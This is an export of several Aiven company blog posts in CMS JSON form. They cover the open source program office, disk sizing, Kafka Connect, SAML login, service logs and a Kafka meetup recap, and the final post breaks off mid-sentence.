{"__i18n_lang":"en","_createdAt":"2022-11-21T11:12:32Z","_id":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_rev":"LlMsTfwmVHcho3tE13P1bH","_type":"post","_updatedAt":"2023-06-14T10:12:53Z","authors":[{"_key":"dae3741e74fd","_ref":"76cad709-7a7b-4748-a970-0847330cc2b1","_type":"reference"}],"body":"\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nAdd keywords as recommended by SEO agency\n\n--\u003e\n\nAiven cares deeply about keeping open source open and supporting open source software development. We turn these fine words into actions through our Open Source Program Office.\n\nAt our OSPO we make sure the projects offered as managed services at Aiven are well maintained and being taken care of. However we not only take care of Aiven's OSS projects, we also keep a watchful eye on all open source projects that impact Aiven, actively collaborating with external contributors. At Aiven, we want to contribute back to the Open Source community and that’s why we created the OSPO team – so we have dedicated staff to focus on this cause.\n\nOur OSPO team also promotes open source processes and philosophy at Aiven. From encouraging open source practices to helping with setting up and maintaining new Aiven-owned OSS projects, the OSPO team is at the heart of all that is open source at Aiven.\n\nOur OSPO Team is divided into several chapters, formed by a pair of developers (sometimes 3). Each chapter has a project (or a family of projects in an ecosystem) as their main focus. However, the different chapters collaborate on a regular basis sharing their expertise in different topics.\n\n## What OSS projects do we contribute to?\n\nWe currently contribute daily to the communities of Apache Kafka®, Apache Flink®, PostgreSQL®, Apache Cassandra® and OpenSearch® – all of which are projects that Aiven offers as managed services. We also put a special focus on successful or important OSS projects that are part of the ecosystem of any of these projects.\n\n### The team\n\nAs mentioned, our OSPO team is divided into chapters that focus on each open source project (or ecosystem). Below we introduce you to the communities that Aiven's developers contribute to on a daily basis.\n\n#### Apache Kafka®\n- [Chris Egerton](https://www.linkedin.com/in/chris-egerton-93886148/) – an Apache Kafka® Committer.\n- [Greg Harris](https://www.linkedin.com/in/greg-harris-2b86a1126/) – a long time Apache Kafka® contributor.\n- [Matthew De Detrich](https://www.linkedin.com/in/matthew-de-detrich-ba1124116/) – who has been contributing to the Apache Kafka® community for almost 2 years, including his work on Guardian which we will talk about later. \n\n#### Apache Flink®\n- [Matthias Pohl](https://www.linkedin.com/in/mapohl/) – an Apache Flink® Committer.\n- [Ryan Skraba](https://www.linkedin.com/in/ryanskraba/) – a long time Apache Flink® contributor and the Apache Avro® PMC Chair.\n- [Sergey Nuyanzin](https://www.linkedin.com/in/sergey-nuyanzin-60aa6356/) – a long time Apache Flink® contributor and an Apache Calcite® committer.\n\n#### OpenSearch®\n- [Andriy Redko](https://www.linkedin.com/in/aredko/) – an OpenSearch® Committer and an Apache CXF® committer and PMC member.\n- [Lukáš Vlček](https://www.linkedin.com/in/lukasvlcek/) – a long time contributor to the OpenSearch® project and community, including his work on the Prometheus® exporter plugin for OpenSearch® which we will explain later in this blog. \n\n#### Apache Cassandra®\n- [Claude Warren Jr.](https://www.linkedin.com/in/claudewarren/) – a contributor to the Apache Cassandra® community and an Apache Jena® committer.\n- [Maxim Muzafarov](https://www.linkedin.com/in/mmuzaf/) – an Apache Ignite® committer.\n\n#### PostgreSQL®\n- [Gregory Stark](https://www.linkedin.com/in/greg-stark-4a297/) – a long time contributor to the Postgres® community.\n- [Ronan Dunklau](https://www.linkedin.com/in/ronan-dunklau-59169b139/) – a long time contributor to the Postgres® community, including his work on the PGTracer which we will explain later in this blog. \n\n#### ClickHouse®\n- [Salvatore Mesoraca](https://www.linkedin.com/in/smeso/) – a contributor to the ClickHouse® community\n\n## Aiven owned open source projects\n\nAiven owns several open source projects. We welcome all contributions to all our projects, and you can find them all listed on [Aiven’s open source page](https://aiven.io/open-source). The OSPO team also maintains a few open-source projects of their own:\n\n### Klaw\n\nKlaw, previously Kafkawize, was Aiven’s first acquisition. Klaw is a self-service Apache Kafka® Topic Management/Governance tool/portal. It is a web application which automates the process of creating and browsing Apache Kafka topics, acls, avro schemas, and connectors by introducing roles/authorizations to users of various teams of an organization.\n\nWith several downloads every week, many more companies can happily move away from managing Apache Kafka configs in excel sheets, confluence, wiki pages, git etc.\n\nThe team maintaining Klaw currently consists of [Mirjiam Aullbach](https://www.linkedin.com/in/mirjam-aulbach/), [Muralidhar Basani](https://www.linkedin.com/in/muralibasani/), [Aindriú Lavelle](https://www.linkedin.com/in/aindri%C3%BA-andrew-lavelle-57345637/), [Mathieu Anderson](https://www.linkedin.com/in/mathieuanderson/) and [Samuli Suortti](https://www.linkedin.com/in/samulisuortti/). Murali recently wrote a [blog explaining all things Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance), give it a read.\n\n### Guardian for Apache Kafka®\n\n[Guardian](https://github.com/aiven/guardian-for-apache-kafka) is a backup and restore tool for Apache Kafka® clusters. It is designed to continuously stream kafka topics into persistent/object storages such as S3, and also provides tools for restoring said backups.\n\nGuardian was developed and is currently maintained by Matthew Benedict de Detrich. If you’d like to contribute to this project, head over to the [issues board](https://github.com/aiven/guardian-for-apache-kafka/issues) and pick something up! And feel free to [contact Matthew](mailto:matthew.dedetrich@aiven.io) for more information.\n\n### PGTracer for PostgreSQL®\n\n[PGTracer](https://github.com/aiven/pgtracer) is a collection of tools to trace queries, execution plans and more in PostgreSQL®, using eBPF.\n\nPGTracer offers a way to instrument PostgreSQL, using the Linux eBPF facility. As it does advanced memory access, it needs the PostgreSQL debug symbols to resolve symbols and offsets in structs.\n\nPGTracer was developed and is maintained by Ronan Dunklau. If you’d like to contribute to the project, head over to the GitHub repository and feel free to [contact Ronan](mailto:ronan.dunklau@aiven.io) for more information.\n\nRonan recently gave a talk about his work on PGTracer at PGConf.Eu and you can find an [interview with Ronan about his talk](https://2022.pgconf.eu/speaker-interviews/ronan-dunklau/) on the conference’s website.\n\n### Prometheus® exporter plugin for OpenSearch®\n\n[The Prometheus® exporter plugin for OpenSearch®](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch) exposes many OpenSearch metrics in Prometheus format.\n\nThe plugin was started as a fork of [Prometheus exporter for Elasticsearch®](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch), utilizing the [OpenSearch plugin template](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch). It uses the [official Prometheus Java Simpleclient](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch).\n\nThe plugin is maintained by Lukáš Vlček. If you’d like to contribute to the project, head over to [the issues board](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch/issues) and pick something up! And feel free to [contact Lukáš](mailto:lukas.vlcek@aiven.io) for more information.\n\n\n## Wrapping up\n\nThis was a brief overview of what’s happening here at Aiven’s Open Source Program Office. We do lots of other stuff, including representing Aiven at conferences, giving talks, helping Aiveners start their own open source projects, and collaborating with the product team. \n\nIf you’d like to get in touch with our Open Source Program Office, we’d love to hear from you! Drop us a line at [ospo@aiven.io](mailto:ospo@aiven.io) \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nLooking for a managed open source data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n\n\n\n","categories":[{"_key":"36191bc1637b","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"b3634f17b833","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-ffa3163fad4a9fca27f4cff56f58cc137e41266f-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-24T06:29:38.779Z","related":[{"_key":"43420dbfeeb4","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"e0265c392649","_ref":"2MaVUBNixFPYxU03wR2sqc","_type":"reference"},{"_key":"cae2dab60cf1","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The Aiven Open Source Program Office (OSPO) makes sure the open source projects offered as managed services are well maintained and taken care of. ","metaTitle":"Aiven Open Source Program Office"},"slug":{"_type":"slug","current":"/blog/aivens-open-source-program-office"},"subtitle":"Find out about what we do at Aiven’s OSPO, the projects we own and the projects we contribute to on a daily basis.","title":"Aiven's Open Source Program Office"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3GV8UOjSgQ2OqimWnSlLCc","_rev":"EXzA9uxcM5girV4aqeEGKw","_type":"post","_updatedAt":"2024-10-30T11:24:34Z","authors":[],"body":"Aiven customers can freely adjust the disk space allocation for all Aiven service plans as a self-service. What does this mean? It means you can now book additional storage without needing to switch plans.\n\nDynamic Disk Sizing (what we like to call DDS because acronyms are cool) lets you adjust the amount of disk space you use right in the Aiven Console. You can go all the way up to three times the amount defined in your plan.\n\nThis capability is available in AWS, GCP and Azure environments.\n## Dynamic Disk Sizing in Aiven services\nUsually it's easy to pick from Aiven's set of plans with fixed storage allocations. But sometimes, like if your app is very data-heavy, you need more storage without needing to scale up everything else as well. DDS lets you create a more personalized plan based on your actual needs. \n\nYou can add storage in steps of 10 GB until you reach the maximum capacity of 3x your plan's default amount. And what's best, you can immediately see the final price directly in the Aiven Console\u003c!-- or on the [Pricing page](https://aiven.io/pricing \"Pricing | Aiven website\")--\u003e. \n\nThe price of the additional storage also covers the additional backup storage needed to handle the increased disk size.\n## Getting started with DDS in Aiven\nDynamic Disk Sizing can be implemented directly in the Aiven Console. Find the service you want to adjust, and on the __Overview__ tab, click __Add Storage.__\n![Adding storage](//cdn.sanity.io/images/sczeoy4w/production/c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165.png)\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-17T00:00:00.000Z","seo":{"metaDescription":"Book additional storage by yourself in all Aiven services. No need to switch plans!","metaImage":{"alt":"","asset":{"_ref":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_type":"reference"}},"metaTitle":"Announcing Dynamic Disk Sizing"},"slug":{"_type":"slug","current":"/blog/announcing-dynamic-disk-sizing"},"subtitle":"Book additional storage by yourself in all Aiven services. No need to switch plans!","title":"Announcing Dynamic Disk Sizing"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2MWM89BP2jQ1ElJy8U8gwf","_rev":"V5UdSzFEWrLT7ZlMFOAcfz","_type":"post","_updatedAt":"2023-08-03T10:36:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports the ability to run Kafka Connect as a separate service from your primary Kafka cluster. This eliminates resource competition, improves scalability, and saves costs.\n\nKafka Connect is a framework and a runtime for integrating Kafka with other systems. Kafka Connectors can either be __source__ (for pulling data from other systems into Kafka) or __sink connectors__ (for pushing data into other systems from Kafka).\n\nWhy Kafka Connect? Kafka Connect enables you to more easily source your data from any number of popular data sources and send it forward to any number of common data destinations.\n\n![image demonstrating kafka architecture with sources, sinks, and their connectors](https://cdn.sanity.io/images/sczeoy4w/production/67dadb757442b4701a1e7fc85c9b9602ea068899-1280x953.png)\n\nIn fact, the more connectors your service provider has, the more you’ll be able to do with your managed Kafka service. [Here’s the list](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) of currently supported Aiven Kafka Connect source and sink connectors.\n\n#### Why Kafka Connect as a Service\n\nThe ability to run a [Kafka Connect service](https://aiven.io/kafka-connect) separately from your primary Apache Kafka cluster eliminates resource competition, as Kafka Connect Services and Aiven for Apache Kafka services no longer cannibalize resources from each other. Also, you will be able to scale your Kafka Connect service independently of your Aiven for Kafka service. This provides a couple of benefits:\n\n- You don’t need a more expensive tier to accommodate both Aiven for Apache Kafka and Kafka Connect on a single cluster. Previously, you needed at least Business-level service plan to provide the necessary resources. __Now you can run Aiven Kafka Connect on a Startup plan__.\n\n- You’ll get more consistent and higher performance on the Kafka Service itself.\n\n\u003e Aiven is the only cloud provider that allows Kafka Connect to run independently on a cluster.\n\n#### How to create a Kafka Connect service\n\nYou can easily start a Kafka Connect service from within your existing Aiven for Apache Kafka service. To do this, open your service and go to the _Connectors_ tab.\n\n![image illustrating aiven kafka connect as a service creation prompt](https://cdn.sanity.io/images/sczeoy4w/production/5cc3d54206f568cf09120a6548f28ed36f3167ed-1316x383.png)\n\nClick the _Create New Kafka Connect Integration_ button and follow the prompts. This will allow you to specify an existing or new Kafka Connect service on which to run your Kafka connectors.\n\n#### Wrapping up\n\nWith Kafka Connect as a Service, you have yet another option for configuring your managed Kafka service within your data pipeline; [go here to see pricing](https://aiven.io/kafka-connect). In the meantime, follow our [blog](https://aiven.io/blog/feed.xml) or [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date with Aiven.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405-png","_type":"reference"}},"publishedAt":"2019-09-11T00:00:00.000Z","seo":{"metaDescription":"With Kafka Connect as a Service, you can remove resource competition from your primary clusters, find out how.","metaImage":{"alt":"","asset":{"_ref":"image-9a233474cdc640da5cfee5cdf4f83a1b0235a425-752x405-png","_type":"reference"}},"metaTitle":"Aiven now provides Kafka Connect as separate service"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-connect-as-a-service"},"subtitle":"With Kafka Connect as a Service, you can remove resource competition from your primary clusters, find out how.","title":"Aiven now provides Kafka Connect as separate service"}
{"__i18n_lang":"en","_createdAt":"2022-11-08T06:13:18Z","_id":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_rev":"v0cQAWzuhXdzXIalMlJYKU","_type":"post","_updatedAt":"2023-06-14T10:14:30Z","authors":[{"_key":"7faa3248bdbb","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"[Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka), an open source event streaming software, is a powerful tool for those needing to collect, process, store, and analyze data. In a world where data rules all, Apache Kafka is vital. Best known for high performance, low latency, fault tolerance, and high throughput, it's capable of handling thousands of messages per second. In fact, more than 80% of all Fortune 100 companies trust and use Apache Kafka.\n\nIn addition to its versatility, Apache Kafka is also open source and has a committed, savvy community behind it. With Aiven’s focus on open source and taking the pain out of managing it, we saw the value of Apache Kafka early on and were the first to offer managed Apache Kafka in the cloud. \n\nAs we continue to build our platform and [our Apache Kafka capabilities](https://aiven.io/kafka), we also recognize the importance of contributing back. Downloading open source software is free, but the work that goes into maintaining it does not just magically happen. Resources are definitely used to ensure success. \n\n## The Open Source Program Office contributes back\n\nAt Aiven, we live the values of open source and that's why we have an [Open Source Program Office](https://aiven.io/open-source), whose focus is to work on open source sustainability. \n\nContributing back to open source is a multi-pronged approach:\n\n- Fostering and boosting open source communities, for example Aiven’s recent acquisition of [Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance), formerly Kafkawize.\n- Employing developers to work on open source projects\n- Compensating employees for contributing to open source projects even if the work doesn’t directly align with their role at Aiven. \n\nSpecifically, Aiven has a dedicated team working on open source Apache Kafka full time: **Matthew de Detrich**, **Chris Egerton**, and **Greg Harris** are our tireless champions. This unique approach sets us apart from many other  companies where contributors are forced to juggle between product and OSS. Aiven also sees the importance of diversifying open source communities as a key point in keeping them thriving and neutral.\n\n## A new Apache Kafka committer\n\nThe Project Management Committee for Apache Kafka has invited Chris Egerton as a committer, and we are excited to announce that he accepted. Chris has been contributing to Apache Kafka since 2017. He has made over 80 commits mostly around [Apache Kafka Connect](https://aiven.io/kafka-connect). \n\nChris’s most notable contributions include [KIP-507: Securing Internal Connect REST Endpoints](https://cwiki.apache.org/confluence/display/KAFKA/KIP-507%3A+Securing+Internal+Connect+REST+Endpoints) and [KIP-618: Exactly-Once Support for Source Connectors](https://cwiki.apache.org/confluence/display/KAFKA/KIP-618%3A+Exactly-Once+Support+for+Source+Connectors).\n\nThe Exactly-Once KIP is an important change to make sure the delivery of messages in Kafka Connect happens exactly once, as opposed to 'at least once'. At least once protocols make the processing of messages complicated as they need to account for repeated messages. Exactly once allows for an easier logic processing data, as the framework guarantees that each message will be delivered only once.\n\nAt Aiven, we are proud of our commitment to open source and see great value in approaching OSS in a community focused way. \n\n\n::banner[Aiven's OSPO works with PGhoard, PGlookout, Karapace, Klaw... Go to our Open Source page to find out more!]{ctaText=\"Check it out\" ctaLink=\"https://aiven.io/open-source\" title=\"Aiven \u003c3 Open Source\" background=\"\"}\n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n","categories":[{"_key":"2f7b6e7abd9d","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"13b5a85040f8","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5ad3586ea5490c715d9b1da6bb45796d8e451384-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-14T08:17:12.317Z","related":[{"_key":"1e8a98516f11","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"},{"_key":"4124184ab61a","_ref":"5bjgOfogZfHZzRsm2kds3w","_type":"reference"},{"_key":"de175d665ab3","_ref":"41CJPFxYD9orHdvISHink9","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/all-in-for-apache-kafka-and-oss-collaboration"},"subtitle":"Aiven contributes back to the Apache Kafka® community with a dedicated full-time team. Find out more about our work!","title":"All in for Apache Kafka® and OSS collaboration"}
{"__i18n_lang":"en","_createdAt":"2022-07-04T13:21:53Z","_id":"3GBxcNl39k10W3k2kiKeqf","_rev":"rV9BZDYEBgQp95tIyZwgdd","_type":"post","_updatedAt":"2023-06-08T07:50:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports SAML authentication, which streamlines account management and password policy enforcement. SAML - or _Security Assertion Markup Language_ - enables a form of SSO (single sign-on) authentication by allowing authentication and authorization data between users and auth providers to be exchanged. \n\n\u003e We currently support authentication using Google G-Suite and Okta, with plans to support others in the future.\n\nAs an example, instead of having to invite every user to each project individually, admins merely have to invite members to use SAML authentication once and they are automatically enrolled into every owned project. This level of access delegation is not available under plain password authentication.\n\n#### Enabling SAML on Aiven\n\nTo enable SAML authentication, the admin of an Aiven account sends an invite link to their project collaborators. That link will go to an Aiven Console page where the user can choose to either link an existing Aiven profile, or create a new profile using the SAML authentication provider associated with the account.\n\n\n![The SAML authentication prompt](https://cdn.sanity.io/images/sczeoy4w/production/e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710.png)\n\nClicking __Login__ will send the user to the login page and redirect to the SAML platform so that a corresponding SAML authentication method can be added to the profile. Clicking __Sign up__ will direct the user to a page where a new auth profile for the user can be created.\n\n#### Wrapping up\n\nWith SAML authentication, Aiven service admins have more options for managing user access to Aiven projects. Follow our [blog](/blog/feed.xml), [changelog](/changelog/feed.xml) RSS feeds, [Twitter](https://twitter.com/aiven_io) feed or [LinkedIn](https://www.linkedin.com/company/aiven/) page to stay current on new features.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bd61999acd57354208625aa34d7c4a09ad37f72c-752x405-png","_type":"reference"}},"publishedAt":"2019-10-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Customers can now include their Aiven projects in their SAML authentication workflows; find out how to implement it in the Aiven platform.","metaImage":{"alt":"","asset":{"_ref":"image-bd61999acd57354208625aa34d7c4a09ad37f72c-752x405-png","_type":"reference"}},"metaTitle":"Aiven supports SAML login – Simplify user authentication"},"slug":{"_type":"slug","current":"/blog/aiven-supports-saml-authentication"},"subtitle":"Customers can now include their Aiven projects in their SAML authentication workflows; find out how to implement it in the Aiven platform.","title":"Aiven supports SAML login"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3kdn2WXFqKKGGBNtpu4cwo","_rev":"4xxJDWP8Sw6o7zBrUAiIE7","_type":"post","_updatedAt":"2023-08-03T10:36:59Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__Update (September 2021): Aiven for Elasticsearch has been replaced by [Aiven for OpenSearch](https://aiven.io/opensearch), a truly open source alternative!__\n\nWe've gotten a lot of great feedback on our service logs and we'd like to share some recent game-changing improvements that we've made to them, namely to our **console logs** and a recently enabled **Aiven for Elasticsearch service integration**.\n\nSpecifically, we’ve made improvements to the following:\n\n* Integration of all Aiven services with Elasticsearch\n* Console log UI, visibility, and accessibility\n\nIn this post, we’ll look at the improvements we made to the Aiven console logs and the OpenSearch logs service integration in greater detail. Let’s start with the biggest improvement—the OpenSearch logs service integration.\n\n## Push your service logs to Aiven services\n\nYou can now send service logs from their Aiven for Apache Kafka, PostgreSQL, Elasticsearch/OpenSearch, Cassandra, Redis, InluxDB, and Grafana services to an Aiven for OpenSearch instance by enabling the OpenSearch logs integration.\n\n![OpenSearch dashboards log view](https://cdn.sanity.io/images/sczeoy4w/production/a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849.png)\n\nBy using this integration, you will have **unlimited retention** for your logs and the ability to take advantage of Aiven for OpenSearch’s powerful search features to access relevant data from among them.\n\nEven better, if you are also using Aiven for Grafana, the latest release allows you to configure alerts based upon their OpenSearch queries, giving you even greater command over your log management.\n\nOpenSearch logs integration can be quickly created from the “Enhance my logs” button within the logs tab or the “Manage” button within the Service integrations row of each service panel. For the specific steps, check out [Getting started with OpenSearch log integration](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration).\n\n## Aiven console service logs updates\n\nPreviously, our console logging allowed you to only see the last 100 entries, which didn’t allow for a deep dive into your log history. This proved even more frustrating for users with high volume services.\n\n\u003e For instance, performing any kind of historical search would be impossible with a service such as Kafka because the logs could change by the second.\n\nNow, we've provided support for our web console (as well as our API and CLI) so that **users can access the last two days of logs at will**, making it easy to remain current with the latest service logs.\n\n### Console users\n\nFor our web console users, we’ve made improvements to the logs UI to enhance readability as well as allow users to freely scroll the last two days of their service logs.\n\n![updated aiven console log](https://cdn.sanity.io/images/sczeoy4w/production/aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840.png)\n\n### CLI users\n\nNow, let’s take a look at some simple commands that [our CLI](https://github.com/aiven/aiven-client) users can access their logs with. Aiven tooling now supports tailing and fetching the last few days of service logs.\n\n**Tailing:**\n```\n$ avn service logs myservice -f\n```\n\n**Fetching:**\n```\n$ avn service logs myservice -f -S desc\n```\n\n## Wrapping up\n\nWhether you choose to continue using our console logs or take advantage of the log integration, you will have greater visibility into and flexibility over your service logs.\n\n[Check out the Aiven Amazon CloudWatch integration](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch) between Aiven services and the CloudWatch service from Amazon Web Services (AWS).\n\nWe’re still looking to add 3rd-party integrations with popular logging platforms, and should have a few by year-end. So, please continue giving us feedback because that’s how we prioritize our additions.\n\nIn the meantime, join our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up-to-date.\n","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0ce2998670e7410dd911195bac00f7a802d03bba-752x405-png","_type":"reference"}},"publishedAt":"2018-07-09T00:00:00.000Z","seo":{"metaDescription":"We've added a few updates to our console UI and service integrations that'll give you exceptional insight into your logs. Read to find out more.","metaImage":{"alt":"","asset":{"_ref":"image-0ce2998670e7410dd911195bac00f7a802d03bba-752x405-png","_type":"reference"}},"metaTitle":"Want greater command over your service logs?"},"slug":{"_type":"slug","current":"/blog/want-greater-command-over-your-service-logs"},"subtitle":"We've added a few updates to our console UI and service integrations that'll give you exceptional insight into your logs. Read to find out more.","title":"Want greater command over your service logs?"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"9CacehWVDza55p2FiJKlh","_rev":"VpqI6rTG30oq7pRBY4AC3B","_type":"post","_updatedAt":"2022-10-25T12:45:51Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Our latest Kafka meetup was co-hosted with Zalando at their Helsinki office. Zalando’s numbers are impressive: __their microservices architecture handles several terabytes of data per day across over 2,000 events.__\n\nMore than an eCommerce company, they are unmistakably a tech powerhouse that [employs over 1,600 tech workers](https://corporate.zalando.com/en/investor-relations/publications/annual-report-2019) who not only manage an impressive mission critical infrastructure, but are also actively contributing their tooling and solutions to open source.\n\nIn short, a great organization and talent to co-host with; now let’s get to the who and what of the meetup. Representing Zalando was Dmitriy Sorokin, a senior java developer. For Aiven, our very own Head of Product, Hannu Valtonen.\n\n## It started with Nakadi\n\nThe event started with Dmitriy discussing Nakadi and Bubuku, the former a distributed event bus with RESTful API built on top of Kafka and the latter a Zalando-built supervisor for operating Kafka on AWS.\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/cf0d2c8aaeb5ccc75a2142e629915e658a7762ec.pdf\" title=\"Nakadi, a RESTful API on top of Kafka-like queues\"}\n\n__For Nakadi, one of the most interesting features is Timelines.__ Essentially, Timelines allow you to efficiently move topics and events around Kafka clusters and their brokers without interrupting producers or consumers.\n\nFor instance, moving topics between clusters requires data to be copied between them to ensure consistency. If the cluster is large enough, like Zalando clusters, this can take a lot of time during which performance is degraded.\n\n![nakadi timelines diagram](https://cdn.sanity.io/images/sczeoy4w/production/964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498.png)\n\nBy using Timelines, you can begin writing to a second cluster while letting the consumers continue reading from the first. The consumers eventually catch up to the producer and begin reading from the second: all of this happens with no interruption in service.\n\nSimilar patterns can be used to perform other tasks, e.g. repartitioning. With Nakadi abstraction, it is possible to utilize other Kafka-like queues, e.g. AWS Kinesis or Apache Pulsar. For even more examples and diagrams, download the slide deck!\n\n## Continued with Bubuku\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/178aca40c6986a19324bb69bfd34a5df52e1648a.pdf\" title=\"Bubuku, a tool that Zalando created for making their operations of Kafka easier\"}\n\n__Dmitriy then moved onto discuss Bubuku,__ a tool that Zalando created for making their operations of Kafka easier.\n\nBubuku allows users to coordinate Kafka instances, such as starting and restarting them in controlled sequences, detect and restart misbehaving Kafka processes, as well as perform balancing partition distribution.\n\n#### Dmitry’s number one rule for creating a supervisor like Bubuku?\n\n\u003e Don’t, search for an existing one!\n\nThis is perhaps the fundamental dilemma with tech organizations, to build or to buy, and one to always balance.\n\n## And ended with PG CDC with Debezium\n\nHannu closed the evening’s field with his discussion on Change Data Capture in PostgreSQL, specifically the issues with how it used to be done and how can be done much more easily using Kafka via Debezium.\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/a00d44e557a4de1cd49f809feadd85bc882af8fc.pdf\" title=\"PG change data capture with Debezium\"}\n\nIn the early 2000s, or the age of the dinosaur as he put it, CDC was a batch-based process where you might do a nightly database dump of some or all tables and perform ETLs from multiple databases to a single system.\n\n\u003e Luckily, this was about to change in 2014 thanks to logical decoding.\n\nLogical 